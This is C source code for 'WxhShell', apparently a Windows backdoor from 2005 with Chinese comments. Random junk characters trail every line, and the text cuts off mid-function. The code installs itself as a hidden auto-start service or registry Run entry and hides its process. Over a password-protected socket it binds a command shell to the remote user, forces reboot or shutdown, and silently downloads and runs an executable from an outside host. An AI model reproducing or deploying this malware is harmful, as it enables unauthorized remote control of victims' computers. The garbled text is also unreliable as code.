    closesocket(wsh); (>*L-&-  
    ExitThread(0); &uf|Le4  
    } x5M+\?I<2  
    break; Sa:;j4  
    } R~RE21kAc  
  // 关机 OA[fQH#{lX  
  case 'd': { 5`::#[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }=u#,nDl>$  
    if(Boot(SHUTDOWN)) ?MvL}o\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.xK`_[M  
    else { Lu4>C2{  
    closesocket(wsh); $3eoZ1q'U-  
    ExitThread(0); VpED9l]y  
    } [ -R[rF  
    break; `SS[[FT$>  
    } >U]KPL[%  
  // 获取shell TA~ZN^xI  
  case 's': { k#8E9/ t@  
    CmdShell(wsh); GB)< 5I  
    closesocket(wsh); /?}2OCq  
    ExitThread(0); /9?yw!  
    break; 0XA0 b1VX  
  } yFTN/MFt  
  // 退出 ]Z*B17//  
  case 'x': { <s'0<e!./t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 65rf=*kz:  
    CloseIt(wsh); <." @H<-`*  
    break; &@D\4b,?nm  
    } z<9Llew^e  
  // 离开 '7.4!I0'  
  case 'q': { ( F4c0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -<(RYMk*)  
    closesocket(wsh); df&.!7_R`  
    WSACleanup(); gy"<[N .?c  
    exit(1); ,!P}Y[|  
    break; bb-u'"5^]  
        } O! _d5r&,  
  } KNOVb=# f_  
  } 2M+ *VO  
va0}?fy.O%  
  // 提示信息 VWqZ`X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wv Mp~  
} +HG*T[%/  
  } P4 #j;k4P  
KD- -w(4  
  return; `A8ErfA  
} sR)jZpmC(  
9d!mGnl  
// shell模块句柄 nt%p@e!,  
int CmdShell(SOCKET sock) Hv%$6,/*v  
{ }$(\,SzW  
STARTUPINFO si; Fj"/jdM  
ZeroMemory(&si,sizeof(si)); pfFHuS~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |ZOdfr4uW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9xFI%UOb#  
PROCESS_INFORMATION ProcessInfo; t~8H~%T>v  
char cmdline[]="cmd"; D?4bp'0 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M6].V*k'2  
  return 0; .sKfwcYu4  
} /+m2|Ij(  
pv"s!q&  
// 自身启动模式 |AS<I4+&  
int StartFromService(void) f{P?|8u  
{ ]oC"gWDYu  
typedef struct ! w;/J^  
{ [c v!YE  
  DWORD ExitStatus; -TS,~`O  
  DWORD PebBaseAddress; ?MS!t6  
  DWORD AffinityMask; {P )O#  
  DWORD BasePriority; YoWXHg!U  
  ULONG UniqueProcessId; /NxuNi;5  
  ULONG InheritedFromUniqueProcessId; "|V}[ 2  
}   PROCESS_BASIC_INFORMATION; 8O[l[5u&  
> iYdr/^a  
PROCNTQSIP NtQueryInformationProcess; M; YJpi  
pX1Us+%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F 6C7k9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '"'RC O  
$KlaZ>D h  
  HANDLE             hProcess; d$Y_vX<  
  PROCESS_BASIC_INFORMATION pbi; (;-_j /  
3jHg9M23[^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J|<C;[du>  
  if(NULL == hInst ) return 0; Np/vPaAk  
U=5~]0g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M4% 3a j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "{zqXM}:C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ImbA2Gcs  
;^|):x+O  
  if (!NtQueryInformationProcess) return 0; 6{yn;D4  
?-8DS5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h.NCG96S  
  if(!hProcess) return 0; po.QM/b \  
D]N)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?TI]0)  
|I{3~+E h  
  CloseHandle(hProcess); {CNJlr@z  
'%o^#gJp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [8%q@6[  
if(hProcess==NULL) return 0; ,Z}ST|$u  
@Bn4ZF B@  
HMODULE hMod; m;L 3c(r.  
char procName[255]; 7xYz9r)w`  
unsigned long cbNeeded; )g }G{9M^  
h0I5zQZm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "yj_v\@4  
I&<'A [vHl  
  CloseHandle(hProcess); 1aUg({  
b~@+6 ?  
if(strstr(procName,"services")) return 1; // 以服务启动 +@*>N;$  
]'$:Y   
  return 0; // 注册表启动 kp#XpcS  
} Nbv b_  
J6"GHbsO  
// 主模块 .tQ(q=#  
int StartWxhshell(LPSTR lpCmdLine) u6| IKZ  
{ 4;eD}g  
  SOCKET wsl; JAT%s %UC  
BOOL val=TRUE; @AK&R~<  
  int port=0; @]p {%"$  
  struct sockaddr_in door; =K}T; c  
PZlPC#E-  
  if(wscfg.ws_autoins) Install(); k!'+7K.  
MU\Pggs  
port=atoi(lpCmdLine); #)]/wqPoW  
1b2  
if(port<=0) port=wscfg.ws_port; =E^/gc%X  
I5`>XfO)  
  WSADATA data; Wh~,?}laj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 23 #JmR  
t*H|*L#YR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Q&@P3x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %b2Hm9r+  
  door.sin_family = AF_INET; RzzU+r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :R>RCR2g)  
  door.sin_port = htons(port); k 8%@PC$  
xEeHQ7J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7AWq3i{  
closesocket(wsl); A}&YK,$5ED  
return 1; .k +>T*c{  
} r adP%W-U  
P"]l/  
  if(listen(wsl,2) == INVALID_SOCKET) { gGx(mX._L?  
closesocket(wsl); {J,4g:4G  
return 1; \u))1zRd  
} ;jN1n xF  
  Wxhshell(wsl); md!!$+a%|  
  WSACleanup();  |=![J?  
9)o@d`*  
return 0; FK`:eP{  
zmL VFGnS  
} ?mSZQF:d@  
NJVkn~<  
// 以NT服务方式启动 Q w - z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $R+gA{49%  
{ # ,eC&X45  
DWORD   status = 0; _`p^B%[  
  DWORD   specificError = 0xfffffff; _VTpfeL@n  
MI(;0   
  serviceStatus.dwServiceType     = SERVICE_WIN32; *[*q#b$j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }xi?vAaTl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V{w &RJ  
  serviceStatus.dwWin32ExitCode     = 0; )Q>Ao.  
  serviceStatus.dwServiceSpecificExitCode = 0; iA[o;D#  
  serviceStatus.dwCheckPoint       = 0; @+Sr~:K  
  serviceStatus.dwWaitHint       = 0; UUb0[oy  
o?j8"^!7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c 3o3i  
  if (hServiceStatusHandle==0) return; z;Fz3s7  
_\Z'Yl  
status = GetLastError(); SJc~E$5<  
  if (status!=NO_ERROR) 1~3dX[&  
{ :]CL}n$*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oh>hy Y)}  
    serviceStatus.dwCheckPoint       = 0; @)vQ>R\k<  
    serviceStatus.dwWaitHint       = 0; k;2.g$)W[c  
    serviceStatus.dwWin32ExitCode     = status; \8s:I+[HH  
    serviceStatus.dwServiceSpecificExitCode = specificError; pV;0Hcy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w-xigm>{Z  
    return; >goHQ30:  
  } OLm@-I*  
n;$u%2t2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yWE\)]9  
  serviceStatus.dwCheckPoint       = 0; qu dY9_  
  serviceStatus.dwWaitHint       = 0; [@8po-()L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kWy@wPqms  
} b-#lKW so  
D6+3f #k6  
// 处理NT服务事件,比如:启动、停止 4z26a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a?8)47)  
{ v+`'%E  
switch(fdwControl) .XiO92d9  
{ vyB{35p$  
case SERVICE_CONTROL_STOP: (v|<" tv  
  serviceStatus.dwWin32ExitCode = 0; $p&eS_f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3dLqlJ^7B  
  serviceStatus.dwCheckPoint   = 0; +`>E_+Mp  
  serviceStatus.dwWaitHint     = 0; (C"q-0?n  
  { Xw<;)m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &=$f\O1Ty  
  } GKSF(Tnj  
  return; KG9-ac  
case SERVICE_CONTROL_PAUSE: _~ei1 G.R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dv3u<XM~  
  break; VBF:MAA  
case SERVICE_CONTROL_CONTINUE: G$&jP:2q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \[.qN  
  break; 5|N`:h'9M  
case SERVICE_CONTROL_INTERROGATE: ^Jq('@  
  break; SE@TY32T  
}; OdY9g2y#m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3o/f, }_  
} R){O]<+  
d|7LCW+HW  
// 标准应用程序主函数 &FT`z"^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VP^Yf_  
{ Z f<T`'_d  
g\@.qKF  
// 获取操作系统版本 S.1>bs2  
OsIsNt=GetOsVer(); Ol+D"k~<C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]?wz.  
hfyU}`]  
  // 从命令行安装 $@71 w~y  
  if(strpbrk(lpCmdLine,"iI")) Install(); QRBx}!:NZ#  
vt *  
  // 下载执行文件 ~ss6yQ$  
if(wscfg.ws_downexe) { US"g>WLwJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OY:rcGc`t  
  WinExec(wscfg.ws_filenam,SW_HIDE); BG?>)]6  
} W|2|v?v  
xS5 -m6/  
if(!OsIsNt) { ]4 c+{  
// 如果时win9x,隐藏进程并且设置为注册表启动 .74C~{}$  
HideProc(); Pmd[2/][  
StartWxhshell(lpCmdLine); w4\ 3*  
} Q~svtN  
else 1E&S{.  
  if(StartFromService()) 0'$67pY  
  // 以服务方式启动 lN,a+S/'  
  StartServiceCtrlDispatcher(DispatchTable); \y(3b#  
else 7(h@5  
  // 普通方式启动 YW/V}C'>  
  StartWxhshell(lpCmdLine); 3Wv^{|^  
n5.sx|bI?  
return 0; xsJXf @  
} 6vE#$(n#a&  
DwGM+)!  
#G F.M,O/h  
0 D '^:  
=========================================== _8 0L/92  
bEQ-? X%7  
c!7WRHJE_a  
oe 6-F)+  
ZCc23UwI  
6Z J-oT!.  
" 7kE+9HmfMk  
j7gTVfO  
#include <stdio.h> >A-{/"p#  
#include <string.h> un-%p#  
#include <windows.h> H{=G\N{  
#include <winsock2.h> d<Q%h?E  
#include <winsvc.h> :adz~L$  
#include <urlmon.h> OQKg/1  
5  >0\=  
#pragma comment (lib, "Ws2_32.lib") KRT&]2  
#pragma comment (lib, "urlmon.lib") fd>{ UyU  
0NZ'(qf~9  
#define MAX_USER   100 // 最大客户端连接数 >uq0}HB$a  
#define BUF_SOCK   200 // sock buffer \OFmd!Cz  
#define KEY_BUFF   255 // 输入 buffer 4aBVO%t  
ppvlU H5;  
#define REBOOT     0   // 重启 q6C`hVM l  
#define SHUTDOWN   1   // 关机 z7`|N`$Z#s  
3I~.'>Pd  
#define DEF_PORT   5000 // 监听端口 9S}rTZkEq  
`H$XO{w  
#define REG_LEN     16   // 注册表键长度 :"!Z9l\@  
#define SVC_LEN     80   // NT服务名长度 *#Ia8^z=p  
ZlMT) ~fM&  
// 从dll定义API 1 @t.J>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ki@C}T5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;NdH]a {  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Y?Z&rNb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g1[BrT,  
^`";GnH0  
// wxhshell配置信息 _!DH/?aU  
struct WSCFG { r/ g{j  
  int ws_port;         // 监听端口 #.HnO_sK_  
  char ws_passstr[REG_LEN]; // 口令 l~]] RgU  
  int ws_autoins;       // 安装标记, 1=yes 0=no *(q?O_3,b  
  char ws_regname[REG_LEN]; // 注册表键名 AmDOv4  
  char ws_svcname[REG_LEN]; // 服务名 cRrJZ9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |a#ikY _nd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IA.7If&k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [j'!+)>_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +z?gf*G_W'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /Z^a, %1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 87l*Y|osP  
)/)u.$pi  
}; SQ2v  
bRm;d_9zC  
// default Wxhshell configuration lD[@D9  
struct WSCFG wscfg={DEF_PORT, @U5gxK*  
    "xuhuanlingzhe", 9]IZ3 fQX  
    1, z!bT^_Cc0  
    "Wxhshell", hwXsfh |  
    "Wxhshell", |w*s:p  
            "WxhShell Service", Fd<Ouyxqe  
    "Wrsky Windows CmdShell Service", mL`8COA  
    "Please Input Your Password: ", ,IboPh&Q78  
  1, "ufSHrZv  
  "http://www.wrsky.com/wxhshell.exe", Z@Q*An  
  "Wxhshell.exe" LS<+V+o2%  
    }; k"DZ"JC  
CA`V)XIsP  
// 消息定义模块 ]9w)0iH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,>6a)2xh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &>+T*-'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q?>r:vMi  
char *msg_ws_ext="\n\rExit."; e3CFW_p  
char *msg_ws_end="\n\rQuit."; 0:[A4S`X  
char *msg_ws_boot="\n\rReboot..."; > VIFQ\  
char *msg_ws_poff="\n\rShutdown..."; ]ASw%Lw)  
char *msg_ws_down="\n\rSave to "; 95@u|#n  
q5e(~@(z<`  
char *msg_ws_err="\n\rErr!"; %+j/nA1%S  
char *msg_ws_ok="\n\rOK!"; HLV8_~gQPf  
U3:|!CC)T  
char ExeFile[MAX_PATH]; F=e;[uK\  
int nUser = 0; -Z ,r\9d  
HANDLE handles[MAX_USER]; +yfUB8Xw  
int OsIsNt; UG`~RO  
Y(7&3+'K  
SERVICE_STATUS       serviceStatus; @~ke=w6&pe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v%*don  
o;Z"I&  
// 函数声明 1K@ieVc  
int Install(void); \os"w "  
int Uninstall(void); 3<$Ek3X  
int DownloadFile(char *sURL, SOCKET wsh); o}KVT%}  
int Boot(int flag); )yig=nn  
void HideProc(void); dE,E,tv  
int GetOsVer(void); 7!jb  
int Wxhshell(SOCKET wsl); |Ol29C$@|  
void TalkWithClient(void *cs); QlMLWi  
int CmdShell(SOCKET sock); iU 6,B  
int StartFromService(void); &&C70+_po  
int StartWxhshell(LPSTR lpCmdLine); _4Eq_w`  
d9TTAaf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y3[KS;_fr9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hizM}d-"C  
?y>ji1  
// 数据结构和表定义 '1b8>L  
SERVICE_TABLE_ENTRY DispatchTable[] = Bcv{Y\x;ko  
{ Aj cKz  
{wscfg.ws_svcname, NTServiceMain}, WIi,`/K+  
{NULL, NULL} VZcW 3/Y  
}; >fP;H}S6  
+?"F=.SZ  
// 自我安装 KQ]sUNH  
int Install(void) Ir>4-@  
{ s;oe Qa}TB  
  char svExeFile[MAX_PATH]; hv#$Zo<  
  HKEY key; fWEQ vQ  
  strcpy(svExeFile,ExeFile); ^ fC2o%3^  
zKJQel5  
// 如果是win9x系统,修改注册表设为自启动 <CO_JWD  
if(!OsIsNt) { l59\Lo:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9M$*Zp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NCi~. I  
  RegCloseKey(key); >&+V[srfD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LBD],Ba!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jb*QlsGd  
  RegCloseKey(key); qdpi-*2  
  return 0; 3)W_^6>bM  
    } HJg&fkHn1  
  } ER9{D$  
} BrSvkce  
else { C=&n1/  
NYHK>u/5c  
// 如果是NT以上系统,安装为系统服务 P A ZjA0d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zL+t&P[\  
if (schSCManager!=0) Ip7#${f5M  
{ "!vY{9,  
  SC_HANDLE schService = CreateService n!Y_SPg   
  ( 80Hi v  
  schSCManager, g!_#$az3  
  wscfg.ws_svcname, cFq<x=S  
  wscfg.ws_svcdisp, -DHzBq=H  
  SERVICE_ALL_ACCESS, Ow>u!P!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K5LJx-x*j  
  SERVICE_AUTO_START, diu"Nt  
  SERVICE_ERROR_NORMAL, &':C"_|&r  
  svExeFile, cd1-2-4U  
  NULL, r{r~!=u  
  NULL, Hm>cKPZ)  
  NULL, D%3$"4M7!  
  NULL, sk9Ejaf6>  
  NULL KZg2`8F   
  ); z0+JMZ/  
  if (schService!=0) g9 ^\Q Yh!  
  { lFtEQ '}  
  CloseServiceHandle(schService); <FBH;}]  
  CloseServiceHandle(schSCManager); Fl($0}ER  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Iv 3O8 GU  
  strcat(svExeFile,wscfg.ws_svcname); QpQ2hNf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~xY"P)(x;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zOSUYn  
  RegCloseKey(key); &'k(v(>n,  
  return 0; B6&[_cht  
    } [N~7PNdS  
  } z6J12tu  
  CloseServiceHandle(schSCManager); K!ogpd&X&  
} @a]cI  
} oh$"?N7n1  
:^`j:B  
return 1; n6Uh%rO7S|  
} V#$QKn`;  
fgL"\d}  
// 自我卸载 ,sc#l<v  
int Uninstall(void) L`<#vi  
{ WGA&Lr  
  HKEY key; 46)[F0,$r  
C TG^lms  
if(!OsIsNt) { ;0kAm Vy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V*s\~h)  
  RegDeleteValue(key,wscfg.ws_regname); nHbi{,3  
  RegCloseKey(key); T=pP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _J \zj  
  RegDeleteValue(key,wscfg.ws_regname); U3B&3K} ~  
  RegCloseKey(key); +-;v+{  
  return 0; qh6b;ae\x  
  } r1IvA^X  
} @BnK C&{  
} NVkYm+J#  
else { 6<\dQ+~  
rMJ@oc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Tmug X7  
if (schSCManager!=0) J&h59dm-  
{ Xlug{ Uh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'qiAmaX  
  if (schService!=0) mz1m^p)~{  
  { AaB1H7r-  
  if(DeleteService(schService)!=0) { ul N1z  
  CloseServiceHandle(schService); 1t/c@YUTy  
  CloseServiceHandle(schSCManager); XN t` 4$L  
  return 0;  y_[VhZ%  
  } ={cM6F}a@  
  CloseServiceHandle(schService); R?lTB3"  
  } D +0il=5  
  CloseServiceHandle(schSCManager); fFbJE]jW  
} c%,ky$'18  
} )Rb t0   
S9l po_!z  
return 1; {}'Jr1  
} \2El>>  
r%=a:GdAg  
// 从指定url下载文件 AFsieJ  
int DownloadFile(char *sURL, SOCKET wsh) 6@# =z  
{ +|S)Mm8-  
  HRESULT hr; "&D0Sd@[?  
char seps[]= "/"; |wb_im  
char *token; H&*&n}vh5y  
char *file; 7\$}|b[9  
char myURL[MAX_PATH]; ,ynN801\m  
char myFILE[MAX_PATH]; lgVT~v{U`n  
}Tm+gJA  
strcpy(myURL,sURL); In%FOPO  
  token=strtok(myURL,seps); r`FTiPD.C  
  while(token!=NULL) ?$A)lWk(  
  { S`mB1(h  
    file=token; n=d#Fm0<  
  token=strtok(NULL,seps); d <ES  
  } <<qzZ+u  
[8tpU&J  
GetCurrentDirectory(MAX_PATH,myFILE); o\W>$$EXD  
strcat(myFILE, "\\"); R3_;!/1  
strcat(myFILE, file); |]q{ qsy  
  send(wsh,myFILE,strlen(myFILE),0); V3*@n*"N;  
send(wsh,"...",3,0); GfP'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?6vGE~ MuR  
  if(hr==S_OK) 7!`1K_v6  
return 0; %CQa8<q  
else F\;l)  
return 1; T<nK/lp1t  
NA@Z$Gy  
} kd&~_=Q  
#]i^L;u1A  
// 系统电源模块 jZ5ac=D&I  
int Boot(int flag) \Qnr0t@0  
{ 2|exY>`w  
  HANDLE hToken; m|?1HCRXRI  
  TOKEN_PRIVILEGES tkp; V0,5c`H c  
!F6rcDKI  
  if(OsIsNt) { m>[G-~0?kI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JT6Be8   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g] IPNW^n  
    tkp.PrivilegeCount = 1; i/8OC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \N?lG q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %ByqkY{5F  
if(flag==REBOOT) { DD7D&@As  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yqu/_6wLx  
  return 0; \mb@-kM)  
} ;/23CFYM  
else { j}@LiH'Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qa: muW  
  return 0; S9b=?? M)  
} rwwyYIlEg  
  } 'R$/Qt;uA  
  else { 5A %TpJ  
if(flag==REBOOT) { t]3:vp5N]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3,#qt}8`  
  return 0; S>HfyZ&Pc  
} }{J>kgr6  
else { fWg 3gRI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5``usn/&Kj  
  return 0; vsA/iH.  
} Q}lY1LT`  
} %AT/g&M&1#  
,HE{&p2y  
return 1; DeN2P  
} ~:C`e4  
7we='L&R  
// win9x进程隐藏模块 /8dRql-Ne  
void HideProc(void) SZxnYVY  
{  HsG3s?*  
ij_5=4aZ-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ffOV7Dxy  
  if ( hKernel != NULL ) "0>AefFd#  
  { Xe ^NVF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^#h ;bX#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #x6w M~  
    FreeLibrary(hKernel); z+_d*\  
  } Oeg^%Y   
@%MGLR{pH  
return; bI;u};v  
} D#>d+X$  
wUS w 9xg  
// 获取操作系统版本 _>t6]?*  
int GetOsVer(void) ?|hYtV  
{ a}k5[)et  
  OSVERSIONINFO winfo; 8X\":l:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zb!RfQ,  
  GetVersionEx(&winfo); )5diX + k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |t58n{V.O  
  return 1;  </Dv?  
  else p@YbIn  
  return 0; 2tp95E`(O  
} 9PR?'X;4  
wX@g >(  
// 客户端句柄模块 k <LFH(  
int Wxhshell(SOCKET wsl) uH} }z!  
{ YO.+ 06X  
  SOCKET wsh; &x[V<Gq  
  struct sockaddr_in client; SQG9m2  
  DWORD myID; )*BG-nM u  
hus9Zv4  
  while(nUser<MAX_USER) Q\le3KB  
{ Bv}i#D  
  int nSize=sizeof(client); al]-*=v7}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); / \k\HK8  
  if(wsh==INVALID_SOCKET) return 1; AHP;N6Y6  
#/>OW2Ny  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U ,\t2z  
if(handles[nUser]==0) 6l(HD([_p  
  closesocket(wsh); F^wm&:%{`  
else Bh q]h  
  nUser++; HAcC& s8  
  } kK]L(ZU +  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !ac,qj7spa  
lM%3 ?~?Q&  
  return 0; 14 hE<u  
} $_W kI^  
jH2_Ekgc;_  
// 关闭 socket OGnuBK  
void CloseIt(SOCKET wsh) z dUSmb  
{ 1n>(CwLG"  
closesocket(wsh); =zwn3L8fL  
nUser--; WQltUaF  
ExitThread(0); eh6=-  
} B d?{ldg  
2?(dS  
// 客户端请求句柄 zHQSx7Ow 5  
void TalkWithClient(void *cs) +nQp_a1{9%  
{ = _/XFN  
03dmHg.E!E  
  SOCKET wsh=(SOCKET)cs; B5/"2i  
  char pwd[SVC_LEN]; 7^]KQ2fF 8  
  char cmd[KEY_BUFF]; D'\gy$9m1  
char chr[1]; LVBE+{P\5?  
int i,j; WKONK;U+7  
8/ PS#dM\  
  while (nUser < MAX_USER) { Y/,Cy0!  
9 EV.![  
if(wscfg.ws_passstr) { !,cfA';S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yo!Y%9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '"]U+aIg  
  //ZeroMemory(pwd,KEY_BUFF); *L#\#nh7  
      i=0; Amj'$G|+hj  
  while(i<SVC_LEN) { t/(rB}  
G Y+li {  
  // 设置超时 (cm8x  
  fd_set FdRead; - ~`)V`@  
  struct timeval TimeOut; 'DtC=  
  FD_ZERO(&FdRead); 9%^O-8!  
  FD_SET(wsh,&FdRead); cP >[H:\Xc  
  TimeOut.tv_sec=8; k[5:]5lp+  
  TimeOut.tv_usec=0; J*+[?FXRL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jF0>w  m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Z^q?~zC[  
d2X?^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F0/!+ho  
  pwd=chr[0]; J)= "Im)  
  if(chr[0]==0xd || chr[0]==0xa) { NbUbLzE  
  pwd=0; 0K^?QM|S  
  break; V ^hR%*i'  
  } ~Nn}FNe  
  i++; k83S.*9Mx  
    } D7v_ <  
E5g|*M.+f  
  // 如果是非法用户,关闭 socket |a>,FZv8e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b r\_  
} -Rbv#Y  
b>L?0p$ej  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cSYMnB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5odXT *n  
"43F.!P  
while(1) { |Jny0a/0  
kt7x}F(?<  
  ZeroMemory(cmd,KEY_BUFF); l9f%?<2D  
U}DLzn|w  
      // 自动支持客户端 telnet标准   ayQ2#9X}  
  j=0; t"jiLOQ[6  
  while(j<KEY_BUFF) { %{&,5|8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Z;ei1l  
  cmd[j]=chr[0]; t {H{xd  
  if(chr[0]==0xa || chr[0]==0xd) { sq;3qbz  
  cmd[j]=0; *1,4#8tB  
  break; 5Kw?#  
  } PP8627uP  
  j++; %BF,;(P  
    } }mpFo 2  
4|;Ys-Q  
  // 下载文件 1H \  
  if(strstr(cmd,"http://")) { iAZbh"I  
